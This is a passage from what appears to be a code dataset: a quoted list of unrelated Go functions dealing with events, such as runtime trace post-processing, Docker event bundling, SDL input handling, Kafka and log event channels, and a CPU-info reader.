make(map[[32]byte]abi.Event)\r\n\tfor _, e := range abiStruct.Events {\r\n\t\teventMap[e.ID()] = e\r\n\t}\r\n\r\n\treturn eventMap, nil\r\n}", "func (p *EventProcessor) ProcessRaw(rawEventData []byte) []beat.Event {\n\tvar gatewayTrafficLogEntry GwTrafficLogEntry\n\terr := json.Unmarshal(rawEventData, &gatewayTrafficLogEntry)\n\tif err != nil {\n\t\tlog.Error(err.Error())\n\t\treturn nil\n\t}\n\t// Map the log entry to log event structure expected by AMPLIFY Central Observer\n\tsummaryEvent, detailEvents, err := p.eventMapper.processMapping(gatewayTrafficLogEntry)\n\tif err != nil {\n\t\tlog.Error(err.Error())\n\t\treturn nil\n\t}\n\n\t// Generates the beat.Event with attributes by AMPLIFY ingestion service\n\tevents, err := p.eventGenerator.CreateEvents(*summaryEvent, *detailEvents, time.Now(), nil, nil, nil)\n\tif err != nil {\n\t\tlog.Error(err.Error())\n\t}\n\treturn events\n}", "func (t *bundledTransformer) aggregateEvents(events []*docker.ContainerEvent) map[string]*dockerEventBundle {\n\teventsByImage := make(map[string]*dockerEventBundle)\n\n\tfor _, event := range events {\n\t\tdockerEvents.Inc(event.Action)\n\n\t\tif _, ok := t.filteredEventTypes[event.Action]; ok {\n\t\t\tcontinue\n\t\t}\n\n\t\tbundle, found := eventsByImage[event.ImageName]\n\t\tif found == false {\n\t\t\tbundle = newDockerEventBundler(event.ImageName)\n\t\t\teventsByImage[event.ImageName] = bundle\n\t\t}\n\n\t\terr := bundle.addEvent(event)\n\t\tif err != nil {\n\t\t\tlog.Warnf(\"Error while bundling events, %s.\", err.Error())\n\t\t\tcontinue\n\t\t}\n\t}\n\n\treturn eventsByImage\n}", "func (p *Parsed) postProcess(events []*Event) error {\n\ttype gdesc struct {\n\t\tstate gStatus\n\t\tev *Event\n\t\tevStart *Event\n\t\tevCreate *Event\n\t\tevMarkAssist *Event\n\t}\n\ttype pdesc struct {\n\t\trunning bool\n\t\tg uint64\n\t\tevSTW *Event\n\t\tevSweep *Event\n\t}\n\n\tgs := make(map[uint64]gdesc)\n\tps := make(map[int]pdesc)\n\ttasks := make(map[uint64]*Event) // task id to task creation events\n\tactiveRegions := make(map[uint64][]*Event) // goroutine id to stack of spans\n\tgs[0] = gdesc{state: gRunning}\n\tvar evGC, evSTW *Event\n\n\tcheckRunning := func(pd pdesc, g gdesc, ev *Event, allowG0 bool) error {\n\t\tif g.state != gRunning {\n\t\t\treturn fmt.Errorf(\"saw %v, but g %d is not running\", ev, ev.G)\n\t\t}\n\t\tif pd.g != ev.G {\n\t\t\treturn fmt.Errorf(\"saw %v, but it's P is running %d, not %d\", ev, pd.g, ev.G)\n\t\t}\n\t\tif !allowG0 && ev.G == 0 {\n\t\t\treturn fmt.Errorf(\"saw %v with unexpected g==0\", ev)\n\t\t}\n\t\treturn nil\n\t}\n\tfor i, ev := range events {\n\t\tg := gs[ev.G]\n\t\tpx := ps[int(ev.P)]\n\t\tswitch ev.Type {\n\t\tcase EvProcStart:\n\t\t\tif px.running {\n\t\t\t\treturn fmt.Errorf(\"%d: running before start %s\", i, ev)\n\t\t\t}\n\t\t\tpx.running = true\n\t\tcase EvProcStop:\n\t\t\tif !px.running {\n\t\t\t\treturn fmt.Errorf(\"%d: p %d not running %s\", i, ev.P, ev)\n\t\t\t}\n\t\t\tif px.g != 0 {\n\t\t\t\treturn fmt.Errorf(\"p %d is running a goroutine %s\", ev.P, ev)\n\t\t\t}\n\t\t\tpx.running = false\n\t\tcase EvGCStart:\n\t\t\tif evGC != nil {\n\t\t\t\treturn fmt.Errorf(\"GC already running %s, was %s\", ev, evGC)\n\t\t\t}\n\t\t\tevGC = ev\n\t\t\t// Attribute this to the global GC state.\n\t\t\tev.P = GCP\n\t\tcase EvGCDone:\n\t\t\tif evGC == nil {\n\t\t\t\treturn fmt.Errorf(\"%d:%s bogus GC end\", i, ev)\n\t\t\t}\n\t\t\tevGC.Link = ev\n\t\t\tevGC = nil\n\t\tcase EvGCSTWStart:\n\t\t\tevp := &evSTW\n\t\t\tif p.Version < 1010 {\n\t\t\t\t// Before 1.10, EvGCSTWStart was per-P.\n\t\t\t\tevp = &px.evSTW\n\t\t\t}\n\t\t\tif *evp != nil {\n\t\t\t\treturn fmt.Errorf(\"STW %s still running at %s\", *evp, ev)\n\t\t\t}\n\t\t\t*evp = ev\n\t\tcase EvGCSTWDone:\n\t\t\tevp := &evSTW\n\t\t\tif p.Version < 1010 {\n\t\t\t\t// Before 1.10, EvGCSTWDone was per-P.\n\t\t\t\tevp = &px.evSTW\n\t\t\t}\n\t\t\tif *evp == nil {\n\t\t\t\treturn fmt.Errorf(\"%d: no STW running %s\", i, ev)\n\t\t\t}\n\t\t\t(*evp).Link = ev\n\t\t\t*evp = nil\n\t\tcase EvGCMarkAssistStart:\n\t\t\tif g.evMarkAssist != nil {\n\t\t\t\treturn fmt.Errorf(\"%d: MarkAssist %s is still running at %s\",\n\t\t\t\t\ti, g.evMarkAssist, ev)\n\t\t\t}\n\t\t\tg.evMarkAssist = ev\n\t\tcase EvGCMarkAssistDone:\n\t\t\t// Unlike most events, mark assists can be in progress when a\n\t\t\t// goroutine starts tracing, so we can't report an error here.\n\t\t\tif g.evMarkAssist != nil {\n\t\t\t\tg.evMarkAssist.Link = ev\n\t\t\t\tg.evMarkAssist = nil\n\t\t\t}\n\t\tcase EvGCSweepStart:\n\t\t\tif px.evSweep != nil {\n\t\t\t\treturn fmt.Errorf(\"sweep not done %d: %s\", i, ev)\n\t\t\t}\n\t\t\tpx.evSweep = ev\n\t\tcase EvGCSweepDone:\n\t\t\tif px.evSweep == nil {\n\t\t\t\treturn fmt.Errorf(\"%d: no sweep happening %s\", i, ev)\n\t\t\t}\n\t\t\tpx.evSweep.Link = ev\n\t\t\tpx.evSweep = nil\n\t\tcase EvGoWaiting:\n\t\t\tif g.state != gRunnable {\n\t\t\t\treturn fmt.Errorf(\"not runnable before %d:%s\", i, ev)\n\t\t\t}\n\t\t\tg.state = gWaiting\n\t\t\tg.ev = ev\n\t\tcase EvGoInSyscall:\n\t\t\tif g.state != gRunnable {\n\t\t\t\treturn fmt.Errorf(\"not runnable before %d:%s\", i, ev)\n\t\t\t}\n\t\t\tg.state = gWaiting\n\t\t\tg.ev = ev\n\t\tcase EvGoCreate:\n\t\t\tif err := checkRunning(px, g, ev, true); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif _, ok := gs[ev.Args[0]]; ok {\n\t\t\t\treturn fmt.Errorf(\"%d: already exists %s\", i, ev)\n\t\t\t}\n\t\t\tgs[ev.Args[0]] = gdesc{state: gRunnable, ev: ev, evCreate: ev}\n\t\tcase EvGoStart, EvGoStartLabel:\n\t\t\tif g.state != gRunnable {\n\t\t\t\treturn fmt.Errorf(\"not runnable before start %d:%s %+v\", i, ev, g)\n\t\t\t}\n\t\t\tif px.g != 0 {\n\t\t\t\treturn fmt.Errorf(\"%d: %s has p running %d already %v\", i, ev, px.g, px)\n\t\t\t}\n\t\t\tg.state = gRunning\n\t\t\tg.evStart = ev\n\t\t\tpx.g = ev.G\n\t\t\tif g.evCreate != nil {\n\t\t\t\tif p.Version < 1007 {\n\t\t\t\t\t// +1 because symbolizer expects return pc.\n\t\t\t\t\t//PJW: aren't doing < 1007. ev.stk = []*Frame{{PC: g.evCreate.args[1] + 1}}\n\t\t\t\t} else {\n\t\t\t\t\tev.StkID = uint32(g.evCreate.Args[1])\n\t\t\t\t}\n\t\t\t\tg.evCreate = nil\n\t\t\t}\n\n\t\t\tif g.ev != nil {\n\t\t\t\tg.ev.Link = ev\n\t\t\t\tg.ev = nil\n\t\t\t}\n\t\tcase EvGoEnd, EvGoStop:\n\t\t\tif err := checkRunning(px, g, ev, false); err != nil {\n\t\t\t\treturn fmt.Errorf(\"%d: %s\", i, err)\n\t\t\t}\n\t\t\tg.evStart.Link = ev\n\t\t\tg.evStart = nil\n\t\t\tg.state = gDead\n\t\t\tpx.g = 0\n\n\t\t\tif ev.Type == EvGoEnd { // flush all active Regions\n\t\t\t\tspans := activeRegions[ev.G]\n\t\t\t\tfor _, s := range spans {\n\t\t\t\t\ts.Link = ev\n\t\t\t\t}\n\t\t\t\tdelete(activeRegions, ev.G)\n\t\t\t}\n\t\tcase EvGoSched, EvGoPreempt:\n\t\t\tif err := checkRunning(px, g, ev, false); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tg.state = gRunnable\n\t\t\tg.evStart.Link = ev\n\t\t\tg.evStart = nil\n\t\t\tpx.g = 0\n\t\t\tg.ev = ev\n\t\tcase EvGoUnblock:\n\t\t\tif g.state != gRunning { // PJW, error message\n\t\t\t\treturn fmt.Errorf(\"Event %d (%s) is not running at unblock %s\", i, ev, g.state)\n\n\t\t\t}\n\t\t\tif ev.P != TimerP && px.g != ev.G {\n\t\t\t\t// PJW: do better here.\n\t\t\t\treturn fmt.Errorf(\"%d: %s p %d is not running g\", i, ev, px.g)\n\t\t\t}\n\t\t\tg1 := gs[ev.Args[0]]\n\t\t\tif g1.state != gWaiting {\n\t\t\t\treturn fmt.Errorf(\"g %v is not waiting before unpark i=%d g1=%v %s\",\n\t\t\t\t\tev.Args[0], i, g1, ev)\n\t\t\t}\n\t\t\tif g1.ev != nil && g1.ev.Type == EvGoBlockNet && ev.P != TimerP {\n\t\t\t\tev.P = NetpollP\n\t\t\t}\n\t\t\tif g1.ev != nil {\n\t\t\t\tg1.ev.Link = ev\n\t\t\t}\n\t\t\tg1.state = gRunnable\n\t\t\tg1.ev = ev\n\t\t\tgs[ev.Args[0]] = g1\n\t\tcase EvGoSysCall:\n\t\t\tif err := checkRunning(px, g, ev, false); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tg.ev = ev\n\t\tcase EvGoSysBlock:\n\t\t\tif err := checkRunning(px, g, ev, false); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tg.state = gWaiting\n\t\t\tg.evStart.Link = ev\n\t\t\tg.evStart = nil\n\t\t\tpx.g = 0\n\t\tcase EvGoSysExit:\n\t\t\tif g.state != gWaiting {\n\t\t\t\treturn fmt.Errorf(\"not waiting when %s\", ev)\n\t\t\t}\n\t\t\tif g.ev != nil && g.ev.Type == EvGoSysCall {\n\t\t\t\tg.ev.Link = ev\n\t\t\t}\n\t\t\tg.state = gRunnable\n\t\t\tg.ev = ev\n\t\tcase EvGoSleep, EvGoBlock, EvGoBlockSend, EvGoBlockRecv,\n\t\t\tEvGoBlockSelect, EvGoBlockSync, EvGoBlockCond, EvGoBlockNet, EvGoBlockGC:\n\t\t\tif err := checkRunning(px, g, ev, false); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tg.state = gWaiting\n\t\t\tg.ev = ev\n\t\t\tg.evStart.Link = ev\n\t\t\tg.evStart = nil\n\t\t\tpx.g = 0\n\t\tcase EvUserTaskCreate:\n\t\t\ttaskid := ev.Args[0]\n\t\t\tif prevEv, ok := tasks[taskid]; ok {\n\t\t\t\treturn fmt.Errorf(\"task id conflicts (id:%d), %q vs %q\", taskid, ev, prevEv)\n\t\t\t}\n\t\t\ttasks[ev.Args[0]] = ev\n\t\tcase EvUserTaskEnd:\n\t\t\tif prevEv, ok := tasks[ev.Args[0]]; ok {\n\t\t\t\tprevEv.Link = ev\n\t\t\t\tev.Link = prevEv\n\t\t\t}\n\t\tcase EvUserRegion:\n\t\t\tmode := ev.Args[1]\n\t\t\tspans := activeRegions[ev.G]\n\t\t\tif mode == 0 { // span start\n\t\t\t\tactiveRegions[ev.G] = append(spans, ev) // push\n\t\t\t} else if mode == 1 { // span end\n\t\t\t\tn := len(spans)\n\t\t\t\tif n > 0 { // matching span start event is in the trace.\n\t\t\t\t\ts := spans[n-1]\n\t\t\t\t\tif s.Args[0] != ev.Args[0] || s.SArgs[0] != ev.SArgs[0] { // task id, span name mismatch\n\t\t\t\t\t\treturn fmt.Errorf(\"misuse of span in goroutine %d: span end %q when the inner-most active span start event is %q\",\n\t\t\t\t\t\t\tev.G, ev, s)\n\t\t\t\t\t}\n\t\t\t\t\t// Link span start event with span end event\n\t\t\t\t\ts.Link = ev\n\t\t\t\t\tev.Link = s\n\n\t\t\t\t\tif n > 1 {\n\t\t\t\t\t\tactiveRegions[ev.G] = spans[:n-1]\n\t\t\t\t\t} else {\n\t\t\t\t\t\tdelete(activeRegions, ev.G)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\treturn fmt.Errorf(\"invalid user region, mode: %q\", ev)\n\t\t\t}\n\t\t}\n\t\tgs[ev.G] = g\n\t\tps[int(ev.P)] = px\n\t}\n\treturn nil\n}", "func eventStream(s []string) []event {\n\tvar id int\n\tevents := make([]event, len(s))\n\n\tfor i, l := range s {\n\t\tt, _ := time.Parse(\"2006-01-02 15:04\", l[1:17])\n\t\te := event{ts: t}\n\n\t\tswitch l[19:24] {\n\t\tcase \"Guard\":\n\t\t\te.typ = beginShift\n\t\t\tfmt.Sscanf(l[26:], \"%d\", &id)\n\t\t\te.id = id\n\t\tcase \"falls\":\n\t\t\te.typ = sleep\n\t\t\te.id = id\n\t\tcase \"wakes\":\n\t\t\te.typ = wake\n\t\t\te.id = id\n\t\t}\n\n\t\tevents[i] = e\n\t}\n\n\treturn events\n}", "func (this *Renderer) ProcessEvents() {\n\tthis.start = time.Now()\n\tvar event sdl.Event\n\tfor event = sdl.PollEvent(); event != nil; event = sdl.PollEvent() {\n\t\tswitch t := event.(type) {\n\t\tcase *sdl.QuitEvent:\n\t\t\tthis.isRunning = false\n\t\tcase *sdl.MouseMotionEvent:\n\t\t\twin := this.windows[t.WindowID]\n\t\t\twin.inputHelper.MousePos = sg.Position{X: float32(t.X), Y: float32(t.Y)}\n\t\tcase *sdl.MouseButtonEvent:\n\t\t\twin := this.windows[t.WindowID]\n\t\t\tif t.Type == sdl.MOUSEBUTTONUP {\n\t\t\t\twin.inputHelper.ButtonUp = true\n\t\t\t} else if t.Type == sdl.MOUSEBUTTONDOWN {\n\t\t\t\twin.inputHelper.ButtonDown = true\n\t\t\t}\n\t\tcase *sdl.WindowEvent:\n\t\t\twin := this.windows[t.WindowID]\n\t\t\tif t.Event == sdl.WINDOWEVENT_LEAVE {\n\t\t\t\twin.inputHelper.MousePos = sg.Position{-1, -1} // ### this initial state isn't really acceptable, items may have negative coords.\n\t\t\t}\n\t\t}\n\t}\n}", "func (c *Computation) Events() <-chan *messages.EventMessage {\n\treturn c.eventCh\n}", "func (u *InputUnifi) Events(filter *poller.Filter) (*poller.Events, error) {\n\tif u.Disable {\n\t\treturn nil, nil\n\t}\n\n\tlogs := []any{}\n\n\tif filter == nil {\n\t\tfilter = &poller.Filter{}\n\t}\n\n\tfor _, c := range u.Controllers {\n\t\tif filter.Path != \"\" && !strings.EqualFold(c.URL, filter.Path) {\n\t\t\tcontinue\n\t\t}\n\n\t\tevents, err := u.collectControllerEvents(c)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tlogs = append(logs, events...)\n\t}\n\n\treturn &poller.Events{Logs: logs}, nil\n}", "func (l *Service) Events(bytes []byte, stream primitive.Stream) {\n\trequest := &ListenRequest{}\n\tif err := proto.Unmarshal(bytes, request); err != nil {\n\t\tstream.Error(err)\n\t\tstream.Close()\n\t\treturn\n\t}\n\n\tif request.Replay {\n\t\tfor index, value := range l.values {\n\t\t\tstream.Result(proto.Marshal(&ListenResponse{\n\t\t\t\tType: ListenResponse_NONE,\n\t\t\t\tIndex: uint32(index),\n\t\t\t\tValue: value,\n\t\t\t}))\n\t\t}\n\t}\n}", "func (r *Recorder) Events() chan image.Event {\n\treturn r.imageEvents\n}", "func (d *Driver) TaskEvents(ctx context.Context) (<-chan *drivers.TaskEvent, error) {\n\treturn d.eventer.TaskEvents(ctx)\n}", "func (c *Credits) ProcessEvents() {\n\tif inpututil.IsKeyJustPressed(ebiten.KeyEscape) {\n\t\tc.nextStateID = \"menu\"\n\t\tc.state = exit\n\t}\n}", "func (linux *linuxSystemObject) GetInputEvents() ([]gin.OsEvent, int64) {\n\tvar first_event *C.GlopKeyEvent\n\tcp := (*unsafe.Pointer)(unsafe.Pointer(&first_event))\n\tvar length C.int\n\tvar horizon C.longlong\n\tC.GlopGetInputEvents(cp, unsafe.Pointer(&length), unsafe.Pointer(&horizon))\n\tlinux.horizon = int64(horizon)\n\tc_events := (*[1000]C.GlopKeyEvent)(unsafe.Pointer(first_event))[:length]\n\tevents := make([]gin.OsEvent, length)\n\tfor i := range c_events {\n\t\twx, wy := linux.rawCursorToWindowCoords(int(c_events[i].cursor_x), int(c_events[i].cursor_y))\n\t\tevents[i] = gin.OsEvent{\n\t\t\tKeyId: gin.KeyId(c_events[i].index),\n\t\t\tPress_amt: float64(c_events[i].press_amt),\n\t\t\tTimestamp: int64(c_events[i].timestamp),\n\t\t\tX: wx,\n\t\t\tY: wy,\n\t\t}\n\t}\n\treturn events, linux.horizon\n}", "func Tags(list ...namedTagEventList) map[string]imageapi.TagEventList {\n\tm := make(map[string]imageapi.TagEventList, len(list))\n\tfor _, tag := range list {\n\t\tm[tag.name] = tag.events\n\t}\n\treturn m\n}", "func (s Conf) Processors() []processor.Processor {\n\tvar processors []processor.Processor\n\n\tfor _, p := range s.In {\n\t\tprocessors = append(processors, p)\n\t}\n\n\tfor _, p := range s.Out {\n\t\tprocessors = append(processors, p)\n\t}\n\n\treturn processors\n}", "func ProcessRspControllerEvents(edgexcontext *appcontext.Context, params ...interface{}) (bool, interface{}) {\n\tif len(params) < 1 {\n\t\t// We didn't receive a result\n\t\treturn false, nil\n\t}\n\n\tloggingClient = edgexcontext.LoggingClient\n\n\tresult, ok := params[0].(models.Event)\n\tif !ok {\n\t\tloggingClient.Error(\"No event received by RSP Controller event handler\")\n\t\treturn false, nil\n\t}\n\n\tfor _, reading := range result.Readings {\n\t\trfidEvents, err := transformRspControllerEventToRfidRoiEvent(reading) //, edgexcontext.LoggingClient)\n\t\tif err != nil {\n\t\t\tloggingClient.Error(fmt.Sprintf(\"Transform RSP Controller Reading To RFIDEventEntry error: %v\\n\", err))\n\t\t\tcontinue\n\t\t}\n\n\t\tfor _, rfidEvent := range rfidEvents {\n\t\t\teventBytes, err := json.Marshal(&rfidEvent)\n\t\t\tif err != nil {\n\t\t\t\tloggingClient.Error(fmt.Sprintf(\"Error marshaling RFID event to push to CoreData: %v\\n\", err))\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tresult, err := edgexcontext.PushToCoreData(\"device-rfid-roi-rest\", \"rfid-roi-event\", eventBytes)\n\t\t\tif err != nil {\n\t\t\t\tloggingClient.Error(fmt.Sprintf(\"Error pushing RFID event entry to CoreData: %v\\n\", err))\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif result != nil {\n\t\t\t\tloggingClient.Debug(fmt.Sprintf(\"Pushed RFID event entry to CoreData: EPC-%v, ROIName-%v, ROIAction-%v, EventTime-%v\\n\", rfidEvent.EPC, rfidEvent.ROIName, rfidEvent.ROIAction, rfidEvent.EventTime))\n\t\t\t}\n\t\t}\n\t}\n\n\treturn false, nil\n}", "func (instances *GCPInstances) MakeEvents() map[string]*usageeventsv1.ResourceCreateEvent {\n\tresourceType := types.DiscoveredResourceNode\n\tif instances.ScriptName == installers.InstallerScriptNameAgentless {\n\t\tresourceType = types.DiscoveredResourceAgentlessNode\n\t}\n\tevents := make(map[string]*usageeventsv1.ResourceCreateEvent, len(instances.Instances))\n\tfor _, inst := range instances.Instances {\n\t\tevents[fmt.Sprintf(\"%s%s/%s\", gcpEventPrefix, inst.ProjectID, inst.Name)] = &usageeventsv1.ResourceCreateEvent{\n\t\t\tResourceType: resourceType,\n\t\t\tResourceOrigin: types.OriginCloud,\n\t\t\tCloudProvider: types.CloudGCP,\n\t\t}\n\t}\n\treturn events\n}", "func TaskSystemInfoEvents(taskId string, ts time.Time, limit, sort int) db.Q {\n\tfilter := bson.M{\n\t\tDataKey + \".\" + ResourceTypeKey: EventTaskSystemInfo,\n\t\tResourceIdKey: taskId,\n\t\tTypeKey: EventTaskSystemInfo,\n\t}\n\n\tsortSpec := TimestampKey\n\n\tif sort < 0 {\n\t\tsortSpec = \"-\" + sortSpec\n\t\tfilter[TimestampKey] = bson.M{\"$lte\": ts}\n\t} else {\n\t\tfilter[TimestampKey] = bson.M{\"$gte\": ts}\n\t}\n\n\treturn db.Query(filter).Sort([]string{sortSpec}).Limit(limit)\n}", "func (c *Collection) PerThreadEventSeries(pid PID, startTimestamp, endTimestamp time.Duration) ([]*trace.Event, error) {\n\tevents, err := c.GetRawEvents(\n\t\tTimeRange(trace.Timestamp(startTimestamp), trace.Timestamp(endTimestamp)),\n\t\tEventTypes(\"sched_switch\", \"sched_migrate_task\", \"sched_wakeup\", \"sched_wakeup_new\", \"sched_process_wait\", \"sched_wait_task\"),\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Filter out events that don't involve this PID.\n\tret := []*trace.Event{}\n\tfor i := range events {\n\t\tev := events[i]\n\t\tif involvesPID(ev, pid) {\n\t\t\tret = append(ret, ev)\n\t\t}\n\t}\n\n\treturn ret, nil\n}", "func EventPublisher_Values() []string {\n\treturn []string{\n\t\tEventPublisherAnomalyDetection,\n\t}\n}", "func (f *FPC) Events() vote.Events {\n\treturn f.events\n}", "func rawEventMapping(status map[string]string) common.MapStr {\n\tsource := common.MapStr{}\n\tfor key, val := range status {\n\t\t// Only adds events which are not in the mapping\n\t\tif schema.HasKey(key) {\n\t\t\tcontinue\n\t\t}\n\n\t\tsource[key] = val\n\t}\n\n\treturn source\n}", "func GenericEventGenerator(workload map[string]interface{}) (map[string]interface{}, int) {\n\tduration := workload[\"duration\"]\n\tall_event := make(map[string]interface{})\n\tevent_count := 0\n\tfor instance, value := range workload[\"instances\"].(map[string]interface{}) {\n\t\tlog.Println(\"Generate\", instance)\n\t\tdesc := value.(map[string]interface{})\n\t\tinstance_events := CreateEvents(desc[\"distribution\"].(string), int(desc[\"rate\"].(float64)), int(duration.(float64)))\n\t\tlog.Println(instance, \"is created\")\n\t\tstart_time := 0\n\t\tend_time := int(duration.(float64))\n\t\tif activity_window, ok := desc[\"activity_window\"]; ok {\n\t\t\tif window, ok := activity_window.([]interface{}); ok {\n\t\t\t\tif len(window) >= 2 {\n\t\t\t\t\tstart_time = int(window[0].(float64))\n\t\t\t\t\tend_time = int(window[1].(float64))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tinstance_events = EnforceActivityWindow(start_time, end_time, instance_events)\n\t\tall_event[instance] = instance_events\n\t\tevent_count += len(instance_events)\n\t}\n\treturn all_event, event_count\n}", "func (c *Config) Processors() []Processor {\n\tvar temp [5]Processor\n\ti := 0\n\tif c.Lines {\n\t\ttemp[i] = Processor{lwcutil.ScanBytes(LineFeed, true), ScanCount}\n\t\ti++\n\t}\n\tif c.Words {\n\t\ttemp[i] = Processor{bufio.ScanWords, ScanCount}\n\t\ti++\n\t}\n\tif c.Chars {\n\t\ttemp[i] = Processor{bufio.ScanRunes, ScanCount}\n\t\ti++\n\t}\n\tif c.Bytes {\n\t\ttemp[i] = Processor{bufio.ScanBytes, ScanCount}\n\t\ti++\n\t}\n\tif c.MaxLineLength {\n\t\ttemp[i] = Processor{lwcutil.ScanLines, ScanMaxLength}\n\t\ti++\n\t}\n\treturn temp[0:i]\n}", "func Collect() (result map[string]interface{}, err error) {\n\tresult = make(map[string]interface{})\n\n\tfor _, collector := range collectors {\n\t\tif shouldCollect(collector) {\n\t\t\tc, err := collector.Collect()\n\t\t\tif err != nil {\n\t\t\t\tlog.Warnf(\"[%s] %s\", collector.Name(), err)\n\t\t\t}\n\t\t\tif c != nil {\n\t\t\t\tresult[collector.Name()] = c\n\t\t\t}\n\t\t}\n\t}\n\n\treturn\n}", "func (p *EventProcessor) ProcessEvent(newEvents []publisher.Event, event publisher.Event) ([]publisher.Event, error) {\n\t// Get the message from the log file\n\teventMsgFieldVal, err := event.Content.Fields.GetValue(\"message\")\n\tif err != nil {\n\t\treturn newEvents, coreerrors.Wrap(ErrEventNoMsg, err.Error()).FormatError(event)\n\t}\n\teventMsg, ok := eventMsgFieldVal.(string)\n\tif !ok {\n\t\treturn newEvents, nil\n\t}\n\n\t// Unmarshal the message into a Log Entry Event\n\tvar springLogEntry SpringLogEntry\n\terr = json.Unmarshal([]byte(eventMsg), &springLogEntry)\n\tif err != nil {\n\t\tmsgErr := coreerrors.Wrap(ErrEventMsgStructure, err.Error()).FormatError(eventMsg)\n\t\tlogp.Error(msgErr)\n\t\treturn newEvents, msgErr\n\t}\n\n\tfmt.Printf(\"*** JSON : %v\", springLogEntry)\n\texternalAPIID, name := getAPIServiceByExternalAPIID(springLogEntry)\n\n\tnewEvents, err = p.processTransactions(newEvents, event, springLogEntry, externalAPIID, name)\n\tif err != nil {\n\t\ttrxnErr := coreerrors.Wrap(ErrTrxnDataProcess, err.Error())\n\t\tlogp.Error(trxnErr)\n\t\treturn newEvents, trxnErr\n\t}\n\n\treturn newEvents, nil\n}", "func GetCPUInfos() (map[string][]string, error) {\n\treturninfos := make(map[string][]string)\n\n\tcpuinfo, err := os.OpenFile(\"/proc/cpuinfo\", os.O_RDONLY|os.O_SYNC, 0666)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Could not open /proc/cpuinfo\")\n\t}\n\tdefer cpuinfo.Close()\n\tcpuinfo.Seek(0, 0)\n\tinforeader := bufio.NewReader(cpuinfo)\n\tvar line string\n\tfor line, err = inforeader.ReadString('\\n'); err == nil; line, err = inforeader.ReadString('\\n') {\n\t\tfields := strings.SplitN(line, \":\", 2)\n\t\tif len(fields) == 2 {\n\t\t\tkey := strings.TrimSpace(fields[0])\n\t\t\tvalue := strings.TrimSpace(fields[1])\n\t\t\tif pv, inmap := returninfos[key]; inmap {\n\t\t\t\treturninfos[key] = append(pv, value)\n\t\t\t} else {\n\t\t\t\treturninfos[key] = []string{value}\n\t\t\t}\n\t\t}\n\t}\n\tif err == io.EOF {\n\t\terr = nil\n\t}\n\treturn returninfos, err\n}", "func Processor_Values() []string {\n\treturn []string{\n\t\tProcessorCpu,\n\t\tProcessorGpu,\n\t}\n}", "func (service *Service) AsMap() map[string]interface{} {\n\tserviceInfo := make(map[string]interface{})\n\n\tserviceInfo[\"name\"] = service.name\n\tserviceInfo[\"version\"] = service.version\n\n\tserviceInfo[\"settings\"] = service.settings\n\tserviceInfo[\"metadata\"] = service.metadata\n\tserviceInfo[\"nodeID\"] = service.nodeID\n\n\tif service.nodeID == \"\" {\n\t\tpanic(\"no service.nodeID\")\n\t}\n\n\tactions := make([]map[string]interface{}, len(service.actions))\n\tfor index, serviceAction := range service.actions {\n\t\tactionInfo := make(map[string]interface{})\n\t\tactionInfo[\"name\"] = serviceAction.name\n\t\tactionInfo[\"params\"] = paramsAsMap(&serviceAction.params)\n\t\tactions[index] = actionInfo\n\t}\n\tserviceInfo[\"actions\"] = actions\n\n\tevents := make([]map[string]interface{}, 0)\n\tfor _, serviceEvent := range service.events {\n\t\tif !isInternalEvent(serviceEvent) {\n\t\t\teventInfo := make(map[string]interface{})\n\t\t\teventInfo[\"name\"] = serviceEvent.name\n\t\t\teventInfo[\"serviceName\"] = serviceEvent.serviceName\n\t\t\teventInfo[\"group\"] = serviceEvent.group\n\t\t\tevents = append(events, eventInfo)\n\t\t}\n\t}\n\tserviceInfo[\"events\"] = events\n\treturn serviceInfo\n}", "func (tc *consumer) Events() <-chan kafka.Event {\n\treturn tc.events\n}", "func (m *Metrics) RecordByEventsCaught() {\n\t// If rolename is not empty, override the defaultRolename\n\tif m.RoleName != \"\" {\n\t\tdefaultRolename = m.RoleName\n\t}\n\tmetricName := fmt.Sprintf(\"bpf.events_caught.by_role.%s.%s.count.minutely\", quote(defaultRolename), quote(m.Hostname))\n\tgoMetrics.GetOrRegisterCounter(metricName, m.EveryMinuteRegister).Inc(1)\n}", "func (l *Log) Events() <-chan Message { return l.eventCh }", "func EventProcessorForChannel(event db.Event) ([]db.Message, error){\n\t\tvar errorSMS,errorEmail, errorFake error\n\t\tvar messages,messagesSMS,messagesEmail,messagesFake []db.Message\n\n\t\t\t//The event could have different channels at the same time. Could be possible send N notitifications (email, sms, etc...) at the same time\n\t\tif channels.CheckChannel(event, db.SMS) {\n\t\t\tlogger.Print(\"INFO\",config.SrvName,config.ComponentName,\"1\",\"200\",\"Processing \" + event.AccountID+ \" for SMS\")\n\t\t\tsmsChannel := channels.EventForSMS{event}\n\t\t\tmessagesSMS,errorSMS=ProcessEvent(smsChannel)\n\t\t\tmessages = append(messages,messagesSMS...)\n\t\t}\n\t\tif channels.CheckChannel(event, db.EMAIL) {\n\t\t\tlogger.Print(\"INFO\",config.SrvName,config.ComponentName,\"1\",\"200\",\"Processing \" + event.AccountID+ \" for EMAIL\")\n\t\t\temailChannel := channels.EventForEmail{event}\n\t\t\tmessagesEmail,errorEmail=ProcessEvent(emailChannel)\n\t\t\tmessages = append(messages,messagesEmail...)\n\t\t}\n\t\tif channels.CheckChannel(event, db.FAKE) {\n\t\t\tfakeChannel := channels.EventForFake{event}\n\t\t\tmessagesFake,errorFake=ProcessEvent(fakeChannel)\n\t\t\tmessages = append(messages,messagesFake...)\n\t\t}\n\t\tif errorSMS!=nil || errorEmail!=nil || errorFake != nil {\n\t\t\tlogger.Print(\"ERROR\",config.SrvName,config.ComponentName,\"1\",\"500\",\"Error sending the message\")\n\t\t\treturn nil,errors.New(\"Error Sending the Message\")\n\t\t}\n\t\treturn messages,nil\n}", "func produceEvent(s StreamName, t StreamType, eval bool, c chan Resolved, tlen int, ttlMap map[StreamName]Time) {\n\tvar v InstExpr\n\tfor i := 0; i < 